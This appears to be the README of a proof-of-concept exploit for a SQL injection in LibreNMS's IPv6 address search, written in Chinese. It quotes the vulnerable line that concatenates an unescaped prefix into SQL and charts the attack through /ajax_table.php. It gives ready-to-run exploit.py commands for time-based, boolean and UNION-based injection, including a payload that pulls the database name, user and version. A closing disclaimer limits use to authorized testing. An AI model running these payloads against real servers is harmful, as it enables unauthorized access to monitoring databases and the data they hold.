CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N当 search_type=ipv6 时,address 参数会按 / 分割为地址和前缀两部分。
前缀部分被直接拼接进 SQL 查询,未经过任何转义:
$sql .= " AND ipv6_prefixlen = '$prefix'";
前缀部分中的单引号(')可突破字符串字面量边界 → 实现任意 SQL 注入。
flowchart TD
A[攻击者] -->|1. 向 /ajax_table.php 发送 HTTP POST| B[LibreNMS Web 服务器]
B -->|2. id=address-search & search_type=ipv6| C[解析 address 参数]
C -->|3. 按 '/' 分割 → $address / $prefix| D[构造易受攻击的 SQL]
D -->|4. 拼接: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
E -->|5. 执行注入的查询| F[返回结果 / 错误 / 延迟]
F -->|6. 攻击者观察响应 / 时间| A
subgraph "注入点"
D
end
style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff
requests 库(pip install requests)python3 exploit.py http://target/librenms --test
python3 exploit.py http://192.168.1.50/librenms --time
→ 如果响应时间超过 5–6 秒 → 存在漏洞
python3 exploit.py http://target/librenms --boolean
python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "
exploit.py .............. 主要 PoC 脚本(如需可重命名为 cve-2026-26988-poc.py)README.md ............... 本文件15429580baba... → PR #18777本概念验证仅用于教育和授权安全测试目的。
未经所有者明确书面许可,禁止将本代码用于任何系统或网络。
未经授权使用可能违反法律,包括(但不限于)美国的《计算机欺诈和滥用法》(CFAA)或您所在国家的等效法规。
使用风险自负。
作者: Mohammed Idrees Banyamer
Instagram: @banyamer_security
日期: 2026 年 2 月 20 日